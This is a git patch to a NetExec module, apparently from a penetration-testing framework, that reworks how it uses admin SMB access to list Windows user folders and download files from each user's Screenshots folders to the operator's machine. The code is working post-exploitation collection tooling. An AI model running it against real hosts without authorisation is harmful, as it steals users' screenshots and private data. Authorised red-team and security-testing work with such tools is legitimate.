From af512f1e6ba7dd37f11e430bdf18b0d22347ddd7 Mon Sep 17 00:00:00 2001 From: Yeeb1 <47221467+Yeeb1@users.noreply.github.com> Date: Tue, 5 Nov 2024 03:26:32 +0000 Subject: [PATCH] Modifed Snipped Module --- nxc/modules/snipped.py | 176 ++++++++++++++++++++++------------------- 1 file changed, 95 insertions(+), 81 deletions(-) diff --git a/nxc/modules/snipped.py b/nxc/modules/snipped.py index e9b65915d..e5bfe00f7 100644 --- a/nxc/modules/snipped.py +++ b/nxc/modules/snipped.py @@ -1,9 +1,8 @@ -from impacket import smb, smb3 import ntpath -from os import makedirs -from os.path import join, exists -from dploot.lib.smb import DPLootSMBConnection -from dploot.lib.target import Target +import os +from os.path import join, getsize, exists +from nxc.paths import NXC_PATH + class NXCModule: @@ -16,105 +15,120 @@ class NXCModule: def __init__(self): self.context = None self.module_options = None + self.excluded_files = ["desktop.ini"] def options(self, context, module_options): - """ - USERS Download only specified user(s); format: -o USERS=user1,user2,user3 - """ + """USERS: Download only specified user(s); format: -o USERS=user1,user2,user3""" self.context = context - self.screenshot_path_stub = r"Pictures\Screenshots" - self.users = module_options["USERS"].split(",") if "USERS" in module_options else None + self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None + + def on_admin_login(self, context, connection): self.context = context self.connection = connection self.share = "C$" - - host = f"{connection.hostname}.{connection.domain}" - domain = connection.domain - username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) - password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") - nthash = getattr(connection, "nthash", "") - - target = Target.create( - domain=domain, - username=username, - password=password, - target=host, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - use_kcache=use_kcache, - ) - - dploot_conn = self.upgrade_connection(target=target, connection=connection.conn) - - output_path = f"nxc_snipped_{connection.host}" - context.log.debug("Getting all user folders") + + output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots") + os.makedirs(output_base_dir, exist_ok=True) + + context.log.info("Getting all user folders") try: - user_folders = dploot_conn.listPath(self.share, "\\Users\\*") + user_folders = connection.conn.listPath(self.share, "\\Users\\*") except Exception as e: context.log.fail(f"Failed to list user folders: {e}") return - context.log.debug(f"User folders: {user_folders}") + context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}") if not user_folders: context.log.fail("No User folders found!") return else: - context.log.display("Attempting to download screenshots if existent.") + context.log.info("Attempting to download screenshots if they exist.") + + total_files_downloaded = 0 + host_output_path = None for user_folder in user_folders: - if not user_folder.is_directory(): - continue folder_name = user_folder.get_longname() - if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]: - continue - if self.users and folder_name not in self.users: - continue - - screenshot_path = ntpath.normpath(join(r"Users", folder_name, self.screenshot_path_stub)) - try: - screenshot_files = dploot_conn.listPath(self.share, screenshot_path + "\\*") - except Exception as e: - context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}") - continue - - if not screenshot_files: - context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}") - continue - - user_output_dir = join(output_path, folder_name) - if not exists(user_output_dir): - makedirs(user_output_dir) - - context.log.display(f"Downloading screenshots for user {folder_name}") - downloaded_count = 0 - for file in screenshot_files: - if file.is_directory(): + if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]: + normalized_name = folder_name.lower() + if self.users and normalized_name not in self.users: + continue + + context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory") + screenshots_folders = self.find_screenshots_folders(folder_name) + if not screenshots_folders: + context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.") continue - remote_file_path = ntpath.join(screenshot_path, file.get_longname()) - local_file_path = join(user_output_dir, file.get_longname()) - with open(local_file_path, 'wb') as local_file: + + for screenshot_path in screenshots_folders: try: - context.log.debug(f"Downloading {remote_file_path} to {local_file_path}") - dploot_conn.readFile(self.share, remote_file_path, local_file.write) - downloaded_count += 1 + screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*") except Exception as e: - context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}") + context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}") continue - context.log.success(f"{downloaded_count} screenshots for user {folder_name} downloaded to {user_output_dir}") + if not screenshot_files: + context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}") + continue - def upgrade_connection(self, target: Target, connection=None): - conn = DPLootSMBConnection(target) - if connection is not None: - conn.smb_session = connection - else: - conn.connect() - return conn + user_output_dir = join(output_base_dir, connection.host) + os.makedirs(user_output_dir, exist_ok=True) + host_output_path = user_output_dir + + for file in screenshot_files: + if not file.is_directory(): + remote_file_name = file.get_longname() + + if remote_file_name.lower() in self.excluded_files: + context.log.debug(f"Excluding file {remote_file_name}.") + continue + + remote_file_path = ntpath.join(screenshot_path, remote_file_name) + sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_") + local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}" + local_file_path = join(user_output_dir, local_file_name) + + try: + with open(local_file_path, "wb") as local_file: + context.log.debug(f"Downloading {remote_file_path} to {local_file_path}") + connection.conn.getFile(self.share, remote_file_path, local_file.write) + + if not exists(local_file_path): + context.log.error(f"Downloaded file {local_file_path} does not exist.") + continue + + file_size = getsize(local_file_path) + if file_size == 0: + context.log.error(f"Downloaded file {local_file_path} is 0 bytes. Skipping.") + os.remove(local_file_path) + else: + total_files_downloaded += 1 + except Exception as e: + context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}") + + if total_files_downloaded > 0 and host_output_path: + context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.") + + + def find_screenshots_folders(self, user_folder_name): + """ + Dynamically searches for all Screenshots folders in the user's home directory. + Returns a list of paths. + """ + base_path = ntpath.normpath(join(r"Users", user_folder_name)) + screenshots_folders = [] + try: + subfolders = self.connection.conn.listPath(self.share, base_path + "\\*") + for subfolder in subfolders: + if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]: + potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots") + try: + if self.connection.conn.listPath(self.share, potential_path + "\\*"): + screenshots_folders.append(potential_path) + except Exception: + continue + except Exception as e: + self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}") + return screenshots_folders